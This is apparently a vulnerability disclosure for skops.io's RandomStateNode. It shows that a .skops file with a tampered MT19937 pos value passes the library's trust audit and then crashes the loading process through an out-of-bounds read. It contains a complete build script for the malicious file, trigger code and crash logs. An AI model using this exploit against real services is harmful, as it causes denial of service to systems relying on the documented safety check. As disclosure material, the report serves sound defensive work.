skops RandomStateNode: default-trusted RandomState.set_state() with unvalidated MT19937 pos yields out-of-bounds read (SIGSEGV) from a file certified safe by get_untrusted_types()
Target: skops β skops.io secure model serialization
Affected version (verified): skops 0.14.0 (latest release), with numpy 2.5.1
Vulnerable file: skops/io/_numpy.py β RandomStateNode
Class: Memory-safety / untrusted-input validation bypass (out-of-bounds read β SIGSEGV / DoS) in a code path the library's own trust audit certifies as SAFE.
Summary
skops.io markets itself as a secure alternative to pickle: get_untrusted_types() lets a
user audit a .skops file, and load() refuses to construct any type not on the trusted list.
The security promise is that a file returning [] from get_untrusted_types() contains only
default-trusted, "safe" reconstructions and can be loaded with no trusted= opt-in.
RandomStateNode breaks that promise. The node is default-trusted (its self.trusted
includes numpy.random.RandomState), and every child node in an honest RandomState dump
(DictNode, NdArrayNode, JsonNode) is also default-trusted. So a tampered file still passes
the audit β get_untrusted_types() returns [] β yet the reconstruction payload is taken
verbatim from the attacker-controlled schema.json and fed straight into
numpy.random.RandomState.set_state() with no validation.
numpy's RandomState.set_state() accepts the legacy ('MT19937', keys, pos) tuple form for
backward compatibility and does not validate the MT19937 position field pos against the
624-word key buffer bound. A large pos (e.g. 2**24) makes the first ordinary random draw
read far out of bounds, and the process dies with SIGSEGV. The malicious value never touches
the trust system: it is an ordinary integer inside a default-trusted JsonNode, so the tree is
certified safe and load() proceeds under the default trusted=None with no user opt-in.
Root cause
skops/io/_numpy.py (skops 0.14.0):
class RandomStateNode(Node):
def __init__(self, state, load_context, trusted=None):
super().__init__(state, load_context, trusted)
# TODO
self.children = {
"content": get_tree(state["content"], load_context, trusted=trusted)
}
self.trusted = self._get_trusted(trusted, [np.random.RandomState]) # default-trusted
def _construct(self):
random_state = gettype(self.module_name, self.class_name)()
random_state.set_state(self.children["content"].construct()) # <-- unvalidated payload
return random_state
self.trustedincludesnumpy.random.RandomState, so the node is default-trusted β notrusted=opt-in is ever required, and this is the node's honest declared type (unlike a base-class / alias trust trick).self.children["content"].construct()returns the MT19937 state dict rebuilt entirely from the attacker-controlledschema.json. Theposfield lives in aJsonNode(default-trusted).RandomState.set_state()performs no bounds check onpos. numpy keeps the legacy('MT19937', keys, pos)form for back-compat;posis written directly into the MT19937 internal state index. On the next draw, the generator indexes the 624-word key buffer atposand reads out of bounds.- skops does no validation of the reconstructed
RandomStatebefore returning it.
Because all involved nodes are default-trusted, get_untrusted_types() returns [] and the
audit-then-load workflow that skops documents as safe is fully bypassed.
PoC
Build script (build_evil_randomstate.py): start from an honest
skops.io.dumps(np.random.RandomState(0)), then in schema.json change the single JsonNode
content["content"]["state"]["content"]["pos"]["content"] from "624" to "16777216" (2**24),
repacking the .npy key blob verbatim.
import numpy as np, skops.io as sio, zipfile, io, json
rs = np.random.RandomState(0)
honest = sio.dumps(rs)
zin = zipfile.ZipFile(io.BytesIO(honest))
schema = json.loads(zin.read("schema.json"))
# Tamper: MT19937 position far past the 624-word key buffer.
# Honest saves always have pos in [0, 624]; set_state does NOT validate the upper bound.
pos_node = schema["content"]["content"]["state"]["content"]["pos"]
assert pos_node["__loader__"] == "JsonNode" and pos_node["content"] == "624"
pos_node["content"] = str(16777216) # 2**24 -> 64 MiB past buffer
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w", zipfile.ZIP_STORED) as zout:
zout.writestr("schema.json", json.dumps(schema, indent=2))
for name in zin.namelist():
if name != "schema.json":
zout.writestr(name, zin.read(name)) # copy .npy key blob verbatim
open("evil_randomstate.skops", "wb").write(buf.getvalue())
Produces evil_randomstate.skops (5858 bytes, included in this repo).
Trigger:
import skops.io as sio
# 1) audit: file is certified SAFE
data = open("evil_randomstate.skops", "rb").read()
assert sio.get_untrusted_types(data=data) == [] # [] == SAFE
# 2) load under the DEFAULT trusted (no opt-in) -> passes the audit, returns a RandomState
rs = sio.load("evil_randomstate.skops")
# 3) first ordinary use crashes the process
rs.random_sample(5) # out-of-bounds read in numpy.random.mtrand -> SIGSEGV (exit 139)
Captured evidence (verbatim, reproduced on skops 0.14.0 / numpy 2.5.1)
=== STEP 1: get_untrusted_types (empty == certified SAFE) ===
untrusted: []
=== STEP 2: load under DEFAULT trusted (no opt-in) and use it ===
loaded type: RandomState
about to draw a random number (first ordinary use)...
-> load+use exit=139
=== faulthandler ===
loaded RandomState -> drawing (expect SIGSEGV):
Fatal Python error: Segmentation fault
Current thread 0x00007f29b2308200 (most recent call first):
File "<stdin>", line 5 in <module>
Extension modules: numpy._core._multiarray_umath, ... numpy.random.mtrand, ...
=== NEG CONTROL (honest + valid pos=624 both clean) ===
honest untrusted: []
honest loaded: RandomState draw: [0.5488135 0.71518937 0.60276338] -> honest exit=0
pos=624 loaded, draw: [0.5488135 0.71518937 0.60276338] -> valid-pos exit=0
Negative control proves specificity: the honest dump and a byte-identical rebuild with a
valid pos=624 both load and draw cleanly (exit 0). Only the tampered, unvalidated pos crashes
β the fault is not inherent to loading a RandomState.
Underlying numpy sink, isolated (no skops involved):
RandomState(0); st=get_state(legacy=False); st['state']['pos']=100000; set_state(st); random_sample(5)
β exit 139. pos in {625, 1000, 5000} returns garbage without crashing; pos >= 100000
reliably SIGSEGVs.
Impact
A .skops file that skops' own get_untrusted_types() audit certifies as safe ([]), loaded
with the default trusted=None and no user opt-in, crashes the loading process (SIGSEGV) on
the first ordinary use of the returned object. This is an out-of-bounds read reachable purely from
attacker-controlled file contents, defeating the audit-then-load workflow that is skops' core
security value proposition. Result: denial of service on any service that loads and uses
third-party .skops random states after clearing them through the documented safety check.
Dedup / novelty
Distinct from the four previously-reported skops findings:
- zip decompression-bomb β different mechanism (archive inflation), different code path.
- npy shape-metadata allocation (
NdArrayNode) β allocation DoS via.npyheader shape. - NdArrayNode subclass-cast β
gettype()cast confusion on array subclass. - SparseMatrixNode spmatrix trust-confusion β abstract-base / alias trust trick.
This bug is a different node (RandomStateNode), a different sink
(RandomState.set_state() MT19937 pos), and β unlike the spmatrix finding β requires no
abstract-base/alias trust trick: RandomStateNode is genuinely default-trusted and its honest
declared type (numpy.random.RandomState) is used as-is. The defect is the unvalidated
reconstruction payload fed into set_state(), not a trust-list mismatch.
No HuggingFace repo under EnigmaConsultant/* and no public skops advisory/CVE covers
RandomStateNode or the MT19937 pos out-of-bounds read.
Files in this repo
evil_randomstate.skopsβ the tampered PoC file (5858 bytes; audits as[], crashes on use).build_evil_randomstate.pyβ deterministic build script (honest dump β tamperposβ repack).ctrl_valid_pos.skopsβ negative control: byte-identical rebuild with validpos=624(loads clean).